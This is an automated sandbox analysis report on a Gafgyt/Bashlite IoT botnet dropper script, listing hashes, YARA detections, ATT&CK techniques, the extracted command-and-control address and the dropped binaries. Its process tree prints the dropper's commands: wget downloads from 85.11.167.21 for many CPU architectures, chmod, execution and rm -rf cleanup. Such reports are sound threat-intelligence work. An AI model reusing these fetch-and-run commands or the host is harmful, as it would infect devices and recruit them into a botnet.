gafgyt | 12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6

Analysis

max time kernel
148s
max time network
134s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260126-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
18/04/2026, 04:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
Size 1KB
Sample260418-ex772sgv4t
SHA256 12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6
MD5 4c80104e69f5a23259aac667779b8311
SHA1 1fa1e9ce75cd84f3f1364120882704ba08c1bd03
SHA512 6f406119df4a70eb0ca5dff368ca75f01e212768964754e5b5b226cd50e553e819108a3d9af6316003ca740716d3901954e0d66ce62e44b3ae5b2b4c574f10a4
TLSH
T1D13132CF22F20970ACD1A92732AA481476ECE1DB54C65F5B6CED78FA809DE187410793
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery gafgyt

Malware Config

Extracted

Family

gafgyt

85.11.167.21:666

Signatures

Family: Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

Detected Gafgyt variant 11 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	family_gafgyt
behavioral1/files/fstream-2.dat	family_gafgyt
behavioral1/files/fstream-3.dat	family_gafgyt
behavioral1/files/fstream-4.dat	family_gafgyt
behavioral1/files/fstream-5.dat	family_gafgyt
behavioral1/files/fstream-6.dat	family_gafgyt
behavioral1/files/fstream-7.dat	family_gafgyt
behavioral1/files/fstream-8.dat	family_gafgyt
behavioral1/files/fstream-9.dat	family_gafgyt
behavioral1/files/fstream-10.dat	family_gafgyt
behavioral1/files/fstream-11.dat	family_gafgyt

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1548	chmod
1561	chmod
1566	chmod
1575	chmod
1583	chmod
1596	chmod
1601	chmod
1606	chmod
1556	chmod
1570	chmod
1588	chmod
1613	chmod
1618	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/mips	1549	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/mipsel	1557	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/sh4	1562	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/arm61	1571	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/i686	1576	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/ppc	1584	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/586	1589	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/m68k	1597	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/dc	1602	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/dss	1607	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/co	1614	_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh

Writes DNS configuration 1 TTPs 2 IoCs

Writes data to DNS resolver config file.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/resolv.conf	586
File opened for modification	/etc/resolv.conf	i686

Changes its process name 2 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1576	i686
Changes the process name, possibly in an attempt to hide itself	1589	586

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1547	wget
1549	mips
1551	rm
1552	wget
1557	mipsel
1559	rm

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dc	wget
File opened for modification	/tmp/dss	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/arm61	wget
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/co	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/586	wget

/tmp/_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
/tmp/_12e63d51aa7c94004be7649e6a1362429a567cc842ea42c94210690e427cdfa6.sh
1⤵
- Executes dropped EXE
PID:1546
- /usr/bin/wget
  wget http://85.11.167.21/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:1549
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:1551
- /usr/bin/wget
  wget http://85.11.167.21/mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1552
- /bin/chmod
  chmod +x mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/mipsel
  ./mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1557
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1559
- /usr/bin/wget
  wget http://85.11.167.21/sh4
  2⤵
  - Writes file to tmp directory
  PID:1560
- /bin/chmod
  chmod +x sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/sh4
  ./sh4
  2⤵
  PID:1562
- /bin/rm
  rm -rf sh4
  2⤵
  PID:1564
- /usr/bin/wget
  wget http://85.11.167.21/x86
  2⤵
  PID:1565
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/x86
  ./x86
  2⤵
  PID:1567
- /bin/rm
  rm -rf x86
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://85.11.167.21/arm61
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod +x arm61
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/arm61
  ./arm61
  2⤵
  PID:1571
- /bin/rm
  rm -rf arm61
  2⤵
  PID:1573
- /usr/bin/wget
  wget http://85.11.167.21/i686
  2⤵
  - Writes file to tmp directory
  PID:1574
- /bin/chmod
  chmod +x i686
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/i686
  ./i686
  2⤵
  - Writes DNS configuration
  - Changes its process name
  PID:1576
- /bin/rm
  rm -rf i686
  2⤵
  PID:1579
- /usr/bin/wget
  wget http://85.11.167.21/ppc
  2⤵
  - Writes file to tmp directory
  PID:1582
- /bin/chmod
  chmod +x ppc
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/ppc
  ./ppc
  2⤵
  PID:1584
- /bin/rm
  rm -rf ppc
  2⤵
  PID:1586
- /usr/bin/wget
  wget http://85.11.167.21/586
  2⤵
  - Writes file to tmp directory
  PID:1587
- /bin/chmod
  chmod +x 586
  2⤵
  - File and Directory Permissions Modification
  PID:1588
- /tmp/586
  ./586
  2⤵
  - Writes DNS configuration
  - Changes its process name
  PID:1589
- /bin/rm
  rm -rf 586
  2⤵
  PID:1592
- /usr/bin/wget
  wget http://85.11.167.21/m68k
  2⤵
  - Writes file to tmp directory
  PID:1595
- /bin/chmod
  chmod +x m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /tmp/m68k
  ./m68k
  2⤵
  PID:1597
- /bin/rm
  rm -rf m68k
  2⤵
  PID:1599
- /usr/bin/wget
  wget http://85.11.167.21/dc
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x dc
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/dc
  ./dc
  2⤵
  PID:1602
- /bin/rm
  rm -rf dc
  2⤵
  PID:1604
- /usr/bin/wget
  wget http://85.11.167.21/dss
  2⤵
  - Writes file to tmp directory
  PID:1605
- /bin/chmod
  chmod +x dss
  2⤵
  - File and Directory Permissions Modification
  PID:1606
- /tmp/dss
  ./dss
  2⤵
  PID:1607
- /bin/rm
  rm -rf dss
  2⤵
  PID:1609
- /usr/bin/wget
  wget http://85.11.167.21/co
  2⤵
  - Writes file to tmp directory
  PID:1610
- /bin/chmod
  chmod +x co
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/co
  ./co
  2⤵
  PID:1614
- /bin/rm
  rm -rf co
  2⤵
  PID:1616
- /usr/bin/wget
  wget http://85.11.167.21/scar
  2⤵
  PID:1617
- /bin/chmod
  chmod +x scar
  2⤵
  - File and Directory Permissions Modification
  PID:1618
- /tmp/scar
  ./scar
  2⤵
  PID:1619
- /bin/rm
  rm -rf scar
  2⤵
  PID:1620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Adversary-in-the-Middle

T1557

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Adversary-in-the-Middle

T1557

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

586

Path /tmp/586
Size 97KB
SHA256 2225e62d389c91d864b1674419559a3336fd05af76020f4bf1b1d8b2707146f4
MD5 16363d24158c9ab3a394c518023a62b1
SHA1 c3f181e0e5d64c82f684b2ce304da80835e87fd8
SHA512 ee8c8fccfd5442057fbd7ef6c3582ffe496aac874859381d86be60fc06ece734edf12551e9e3a219e782bf992f6057d689dea9191ff5f1837f33a97698ad6a84
SSDEEP 3072:Jg4eodUWUh917j8mc2deiPUDAZURyPfb5hQTSvxinf0OzTyoQQub:JdRu917j8mc2H5Z5Pj5h8cxinf0OzTyv
TLSH
T163A34A82A780D5B3D1A306F6129B8B150133FB3F4A6B9DA6F35D3CF48B509C57221B99
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm61

Path /tmp/arm61
Size 139KB
SHA256 1cf27b83f6d0ab542fcaeeb61459cd172defcd1cfbeadf1a248f4b20e8178b75
MD5 53a98e584b66a45783b5a724a5ebd4c3
SHA1 a9379a9d497965bfeb0b30619eb4551a2032b64c
SHA512 13994709024ae94be148420b748fe0bac3aaf942200f0e45161ce2885b4b0d4a6de476000d692203220eccdf63b8ea8d55681c68e0b23ebcbb99e3f91d047ddd
SSDEEP 3072:4VfyQ+d+pceQGfBbPTa+jthWOiwzte6Xe45hLEDyh3O46dZBjUmydQCYMhEFg:CbPTa+jthoEXR5hLE+3C3gmydQCYMhE+
TLSH
T1F2D33B05D8509767C6D227BAF79E428D73236B68A7D733115A28AFB42FC1B9D1E3D020
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/co
Size 117KB
SHA256 bd888ba6f238ae46f62b918794d7788d46e35cc54dcfd5dfd74b41e0668898ca
MD5 aa2be5960deaf42e6b4488c814a88692
SHA1 27b3df222282c14aaf5f630b6465941e4085c567
SHA512 5b85b4f39f5d32b135164152f469d44f8c28555a0e55c6051e5b5cf12fd405c75f139dc050cc68768cc30670ebc7a088584bb0e6270158d1b8487fdbe710979a
SSDEEP 3072:sJDZ+6lJQTnoo3nKVz3ecxPWQ5hLSFuX0wX4eoC9DQlD6ObAF5R:k3eo+Q5hLSFuDJoC9DQlD6ObAF5R
TLSH
T121C30805FC404B27C7E22BBAF79E438D773666586BD733116A295EF02BC5B882D39160
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/dc
Size 123KB
SHA256 83738b72e30428025b3d3380f49ab28cdaab11f86e94a182dd6461ab8eac9bc5
MD5 ec9aef51def59c3ec9b1b12963921051
SHA1 7aefbbb4e93829fd4329e5f67fdb038a22c65435
SHA512 dcaa03ac48230eb3b74dd147f807f8d56a7e4e8d70e1ec5644bd775268d639b417b5fdbcd7d08bfbf4d7170a2bf08110c2afad4b618db6c8eb39f134d52bee10
SSDEEP 3072:/YNa/GLBNPoQnphakpiQ9/nYEP/UnSQf/R:6a/ylo4phakp39/nYEP/UnSQf/R
TLSH
T1CEC32B273B231E23C0C9547102E31331FAB9DB6938B953D7E9D06DAC2F26A943456BD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dss

Path /tmp/dss
Size 125KB
SHA256 f0d65338065ee6726d47d1522450f0dbc8e4821dcf99a236e0290e1728e6e60a
MD5 b7afe654a7b332aa31be5779db5a9da5
SHA1 4bae0c09ad2f7eb2651ed48016b34389498ed867
SHA512 5cbc29436228cdab2fc44485207f521fdb72acda04712f2f76d51f800fa2bcdb020de0c7478c20efd1512177a45c4b0a0b50b04eec6e664ea03d1a8ee7df7eb2
SSDEEP 3072:4DJDZ+6lJQTnoo3jKiXb6DwXg/5hLNF9u+CyhAnjqojwQQRh6RYAvZR:4Gb6yg/5hLNF9u0ojwQQRh6RYAvZR
TLSH
T169C31905FD404B27C7D22BBAF79E438D773666586BD333115A296EB02FC1B982E39160
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i686

Path /tmp/i686
Size 97KB
SHA256 237baa9e4af13c1326f7421d474401b06d836c7337b76b222d8676655392881e
MD5 5327d651e2908ad9e8535a7e920dd098
SHA1 3ccb7d535eedf8aa032b1f599b7f893fc3d9ec8b
SHA512 8d7f8953e2b9631170770d1f0c702dbad3a7787843fe0c619c9564112d809961068e7cb80482962f2af2c34dac95e8be6b4f5bb9a89dbfc16d0559b7824b8145
SSDEEP 3072:aPaqjPQP39VjGWX98732V7kGyNVe5heTe7FXnf0OzTyoQQub:ahQP39VjGWXW9NVe5h+0FXnf0OzTyoQ7
TLSH
T173A35B82D642C2F3C4430AF1029F965A0532FB3A8A3B9EAAF75D7CF49B129D53115B91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 115KB
SHA256 d55090f67a3883c43148e37fcc766053ce291e0a5e899f65c740983223d902ed
MD5 e70edcb0a274008d4b8d7ed25efc0433
SHA1 1e253056daa52a6d356f1ba0bdae0c7d8edfa2fd
SHA512 22cc51f0ff61d7fde8defe1910f517e2b40113dcda8010910c0e02cae40eb813f194d28b8e053fc5121503c60a4a237b3828510cb785a492a5d181726d2786d9
SSDEEP 3072:sMIrcVdOAnowHfbEqyasKJ3APbenmvI0PDGnSQNER:sMIrcPOAnowLyajJ3+qnmvI0PDGnSQNM
TLSH
T125C32997F800DE66F40AEA3605D70735B630FB720E531A7263573AA69E362E47827F41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 150KB
SHA256 9dc5a09803bedff1e6edcb2fb8d490816e545cb4d0dfe238cd8410051db0fa9a
MD5 81d262344a4f6711a61e2e9ff6ef367e
SHA1 7fe9573765b39e9114b18ab2772c864d5aa58c63
SHA512 fdc988ce4cda394b564389367926b4f5847e64ac784e1f47e42828ee9c7abac99424b8ef02c604688dc75343ffb8b16cae988084355cf586e344da607dcd0446
SSDEEP 3072:AvtLZpuGPyaT/B5hKWEfSaWURxuZq+1uPNd5R:cQORB5hKWLURxuZq+1uPNd5R
TLSH
T18DE3766E3E21AFBEE268867107F75F70C395259326A19382E26CD7085F7128D1C5F7A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsel

Path /tmp/mipsel
Size 150KB
SHA256 fb2e27e8d47838721bba3a9e51c7ead6e214ef54ca80665b3165ec3a9f1ef201
MD5 7d1a23781ab4e502a7a4ffd146838764
SHA1 8fdfa6af5f6a025ff235b365af92caf57c90f7dd
SHA512 638331196c4a15b073890b8d4266ff8475fdf95f0bc3c2021d46f81088789a66d1e87eba18510db208bbe2ebebd203b1879b142fa44102cc460c73b98fa50e54
SSDEEP 3072:C2ttgUm6Oq+lozL5hdCNzhsURxuZq+1uPNd5R:C2ttgxq++zL5hdC8URxuZq+1uPNd5R
TLSH
T146E3A51AB7619FB3D81ECE3706AA4601108DE55A02ED6F6FB6B4C51CE78B84F08E3D54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ppc

Path /tmp/ppc
Size 113KB
SHA256 b9d555c83c3b7769d4616af6c501ae8381a359582020a1168900e1b888e048d9
MD5 d677b0eea8b16f4151f20c2be0c76f2d
SHA1 d80a2dcc30ceae102892fa16fecf65047675fd32
SHA512 737efea7f9911385ed3b1dc0ea8b1fe6a49f459f43a0182aaaf3544dfbc7a2990a9babd717c4322b862bbd9338bea5a3748932c1f71c60ee6dc5585da14541e9
SSDEEP 3072:JHXrsU7PNZMHNrONBbsQv5hkqu4CK2QnI0PDG4gQNcR:J3LTMHNrOwQv5hkqH2QnI0PDG4gQNcR
TLSH
T19FB33A57671C0B43C58B5AF12C7B37F187ADEA7112E225C5A40EBFC01B72A701626FA9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh4

Path /tmp/sh4
Size 105KB
SHA256 a1ff3a7eb9e3f77487a2b92a4fa58cee4220726bc4e06547e0a49707af6ee1a6
MD5 ba7ed3c283c7e6db1ebe2e4cda1037f5
SHA1 643ba3f28faa7b9491b0284791f14ed98116c73c
SHA512 95dc0e64fa677aa19e5ca7dba53cf7c9ca1e5d31cfe0753ff26a78e1af926162fc12f7118750056f5725a59a7e29b69ef731d6e2486ea5feabf3b9de55fbd81a
SSDEEP 3072:btTQn622oNI8zpUS5hLwtOCwLkY0Px9gQNfR:btc6Vs/US5hLwtOLLkY0Px9gQNfR
TLSH
T15EB33A0798615F77C045ADB529AB5530072BBA120F4F1F99B57CAAF4074F8CEB40EBA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads